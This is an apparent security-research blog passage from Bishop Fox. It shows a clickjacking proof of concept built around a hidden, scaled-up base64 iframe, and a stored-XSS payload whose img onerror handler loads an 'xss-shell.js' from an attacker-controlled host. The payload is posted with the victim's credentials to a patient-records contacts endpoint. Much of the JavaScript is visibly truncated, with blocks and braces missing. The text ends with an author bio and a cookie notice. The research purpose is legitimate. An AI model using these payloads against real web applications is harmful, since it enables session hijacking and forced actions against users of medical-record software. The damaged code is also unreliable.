	<iframe id="parentFrame" src=""data:text/html;base64,PHNjcmlwdD53aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibWVzc2FnZSIsIGZ1bmN0aW9uKGUpeyB2YXIgZGF0YSwgY2hpbGRGcmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjaGlsZEZyYW1lIik7IHRyeSB7IGRhdGEgPSBKU09OLnBhcnNlKGUuZGF0YSk7IH0gY2F0Y2goZSl7IGRhdGEgPSB7fTsgfSBpZighZGF0YS5jbGlja2JhbmRpdCl7IHJldHVybiBmYWxzZTsgfSBjaGlsZEZyYW1lLnN0eWxlLndpZHRoID0gZGF0YS5kb2NXaWR0aCsicHgiO2NoaWxkRnJhbWUuc3R5bGUuaGVpZ2h0ID0gZGF0YS5kb2NIZWlnaHQrInB4IjtjaGlsZEZyYW1lLnN0eWxlLmxlZnQgPSBkYXRhLmxlZnQrInB4IjtjaGlsZEZyYW1lLnN0eWxlLnRvcCA9IGRhdGEudG9wKyJweCI7fSwgZmFsc2UpOzwvc2NyaXB0PjxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxob3N0L2luZGV4X3BhZ2UucGhwIiBzY3JvbGxpbmc9Im5vIiBzdHlsZT0id2lkdGg6MTkwNnB4O2hlaWdodDo5NzRweDtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0Oi0xM3B4O3RvcDo5MXB4O2JvcmRlcjowOyIgZnJhbWVib3JkZXI9IjAiIGlkPSJjaGlsZEZyYW1lIiBvbmxvYWQ9InBhcmVudC5wb3N0TWVzc2FnZShKU09OLnN0cmluZ2lmeSh7Y2xpY2tiYW5kaXQ6MX0pLCcqJykiPjwvaWZyYW1lPg==" scrolling="no" style="transform: scale(10); transform-origin: 200px 200px 0px; opacity: 0; border: 0px none; position: absolute; z-index: 1; width: 1906px; height: 974px; left: 0px; top: 0px;" frameborder="0"></iframe>
	<script>function findPos(obj) {
			var left = 0, top = 0;
			if(obj.offsetParent) {
				while(1) {
				  left += obj.offsetLeft;
				  top += obj.offsetTop;
				  if(!obj.offsetParent) {
				  obj = obj.offsetParent;
			} else if(obj.x && obj.y) {
				left += obj.x;
				top += obj.y;
			return [left,top];
		  }function generateClickArea(pos) {
				var elementWidth, elementHeight, x, y, parentFrame = document.getElementById(''parentFrame'), desiredX = 200, desiredY = 200, parentOffsetWidth, parentOffsetHeight, docWidth, docHeight,
					btn = document.getElementById('clickjack_button');
				if(pos < window.clickbandit.config.clickTracking.length) {
					elementWidth = window.clickbandit.config.clickTracking[pos].width;
					elementHeight = window.clickbandit.config.clickTracking[pos].height;
					btn.style.width = elementWidth + 'px';
					btn.style.height = elementHeight + 'px';
					window.clickbandit.elementWidth = elementWidth;
					window.clickbandit.elementHeight = elementHeight;
					x = window.clickbandit.config.clickTracking[pos].left;
					y = window.clickbandit.config.clickTracking[pos].top;
					docWidth = window.clickbandit.config.clickTracking[pos].documentWidth;
					docHeight = window.clickbandit.config.clickTracking[pos].documentHeight;
					parentOffsetWidth = desiredX - x;
					parentOffsetHeight = desiredY - y;
					parentFrame.style.width = docWidth+'px';
					parentFrame.style.height = docHeight+'px';
					parentFrame.contentWindow.postMessage(JSON.stringify({clickbandit: 1, docWidth: docWidth, docHeight: docHeight, left: parentOffsetWidth, top: parentOffsetHeight}),'*');
					if(parentFrame.style.opacity === '0') {
				} else {
			}function hideButton() {
				var btn = document.getElementById('clickjack_button');
				btn.style.opacity = 0;
			}function showButton() {
				var btn = document.getElementById('clickjack_button');
				btn.style.opacity = 1;
			}function clickjackCompleted(show) {
				var complete = document.getElementById('clickjack_complete');
				if(show) {
					complete.style.display = 'block';
				} else {
					complete.style.display = 'none';
			}window.addEventListener("message", function handleMessages(e){
				var data;
				try {
					data = JSON.parse(e.data);
				} catch(e){
					data = {};
				if(!data.clickbandit) {
					return false;
			},false);window.addEventListener("blur", function(){ if(window.clickbandit.mouseover) { hideButton();setTimeout(function(){ generateClickArea(++window.clickbandit.config.currentPosition);document.getElementById("clickjack_focus").focus();},1000); } }, false);document.getElementById("parentFrame").addEventListener("mouseover",function(){ window.clickbandit.mouseover = true; }, false);document.getElementById("parentFrame").addEventListener("mouseout",function(){ window.clickbandit.mouseover = false; }, false);</script><script>window.clickbandit={mode: "review", mouseover:false,elementWidth:71,elementHeight:20,config:{"clickTracking":[{"width":71,"height":20,"mouseX":250,"mouseY":119,"left":213,"top":109,"documentWidth":1906,"documentHeight":974}],"currentPosition":0}};function calculateClip() {
				var btn = document.getElementById('clickjack_button'), w = btn.offsetWidth, h = btn.offsetHeight, container = document.getElementById('container'), x = btn.offsetLeft, y = btn.offsetTop;
				container.style.overflow = 'hidden';
				container.style.clip = 'rect('+y+'px, '+(x+w)+'px, '+(y+h)+'px, '+x+'px)';
				container.style.clipPath = 'inset('+y+'px '+(x+w)+'px '+(y+h)+'px '+x+'px)';
			}function calculateButtonSize(factor) {
				var btn = document.getElementById('clickjack_button'), resizedWidth = Math.round(window.clickbandit.elementWidth * factor), resizedHeight = Math.round(window.clickbandit.elementHeight * factor);
				btn.style.width = resizedWidth + 'px';
				btn.style.height = resizedHeight + 'px';
				if(factor > 100) {
					btn.style.fontSize = '400%';
				} else {
					btn.style.fontSize = (factor * 100) + '%';
			}function resetClip() {
				var container = document.getElementById('container');
				container.style.overflow = 'visible';
				container.style.clip = 'auto';
				container.style.clipPath = 'none';
			}function getFactor(obj) {
				if(typeof obj.style.transform === 'string') {
					return obj.style.transform.replace(/[^\d.]/g,'');
				if(typeof obj.style.msTransform === 'string') {
					return obj.style.msTransform.replace(/[^\d.]/g,'');
				if(typeof obj.style.MozTransform === 'string') {
					return obj.style.MozTransform.replace(/[^\d.]/g,'');
				if(typeof obj.style.oTransform === 'string') {
					return obj.style.oTransform.replace(/[^\d.]/g,'');
				if(typeof obj.style.webkitTransform === 'string') {
					return obj.style.webkitTransform.replace(/[^\d.]/g,'');
				return 1;
			var payload = '<img src=x onerror=jQuery.getScript("http://localhost:9090/xss-shell.js")>'
			var formData = new FormData();
			formData.append('task', 'save');
			formData.append('first_name', payload);

		fetch('http://localhost/index_body.php?module=contacts&tab=Charts&mount=demographics&patient_id=&mounttype=default&tab_id=&calendar_id=®istration_id=&phone_call_id=&from_finance=', {
			credentials: 'include',
			method: 'POST',
			body: formData


Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.

Chris davis

About the author, Chris Davis

Senior Security Consultant

Chris Davis is a Senior Security Consultant at Bishop Fox. His areas of expertise are application penetration testing (static and dynamic) and external network penetration testing.

Chris actively conducts independent security research and has been credited with the discovery of 40 CVEs (including CVE-2019-7551 and CVE-2018-17150) on enterprise-level, highly distributed software. The vulnerabilities he identified included remote code execution and cross-site scripting (XSS).
More by Chris

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.